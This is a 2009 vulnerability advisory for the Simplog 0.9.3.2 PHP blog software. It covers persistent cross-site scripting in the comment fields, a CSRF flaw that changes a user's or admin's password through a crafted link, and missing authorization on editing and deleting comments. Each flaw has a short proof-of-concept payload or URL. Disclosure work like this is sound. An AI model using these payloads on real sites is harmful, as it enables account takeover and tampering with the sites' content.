################################################################################
  Mutliple Vulnerabilities in Simplog v0.9.3.2

  Name      Multiple vulnerabilities in Simplog
  Systems Affected  Simplog 0.9.3.2 and possibly earlier versions
  Download    http://sourceforge.net/projects/simplog/files/simplog/0.9.3.2/simplog-0.9.3.2.tar.gz/download
  Author      Amol Naik (amolnaik4[at]gmail.com)
  Date      16/11/2009
################################################################################


############
1. OVERVIEW
############

Simplog provides an easy way for users to add blogging capabilities to their existing websites. 
Simplog is written in PHP and compatible with multiple databases. 
Simplog also features an RSS/Atom aggregator/reader.

###############
2. DESCRIPTION
###############

Simplog is vulnerable to Persistent cross-site scripting, cross-site request forgery and unauthorized comment deletion.

######################
3. TECHNICAL DETAILS
######################

Summery:

  (A) Persistent Cross-site Scripting
  (B) Cross Site Request Forgery
  (C) Edit/Delete Comments (Bypassing Authorization)


(A) Persistent Cross-site Scripting
++++++++++++++++++++++++++++++++++++

Vulnerable page    comments.php
Vulnerable Parameters  cname, email

When adding a comment for any blog entry, it is possible to add a Persistent XSS payload in "Name" & "Email" parameters due to improper sanitization of the user inputs.

++++
POC
++++

Put this in the comment:

Name: <script>alert("AMol_NAik")</script>
email:"><script>alert("AMol_NAik")</script>


(B) Cross Site Request Forgery
+++++++++++++++++++++++++++++++

Vulnerable Page    user.php

This application is vulenrable to CSRF which changes the password of an authenticated user. This is applicable to Admin as well.

++++
POC
++++

http://localhost/simplog/user.php?pass1=<new_pass>&pass2=<new_pass>&blogid=<valid_blogid>&act=change


For example, if an authenticated user clicks on the below link, his/her password changes to "AMol_NAik".

http://localhost/simplog/user.php?pass1=AMol_NAik&pass2=AMol_NAik&blogid=1&act=change 


(C) Edit/Delete Comments (Bypassing Authorization)
+++++++++++++++++++++++++++++++++++++++++++++++++++

Vulnerable Page    comments.php
Vulnerable Parameters  op, cid

The application provides a function to edit n delete the comments to Blog Admin. It is possible for attacker to edit/delete any comment due to improper authorization.

++++
POC
++++

Edit comment:    http://localhost/simplog/comments.php?op=edit&cid=<valid_comment_id>
Delete Comment:    http://localhost/simplog/comments.php?op=del&cid=<valid_comment_id>


############
4. TimeLine
############

03/11/2009    Bug Discovered
03/11/2009    Reported to Vendor
16/11/2009    No response received till the date
16/11/2009    Public Disclosure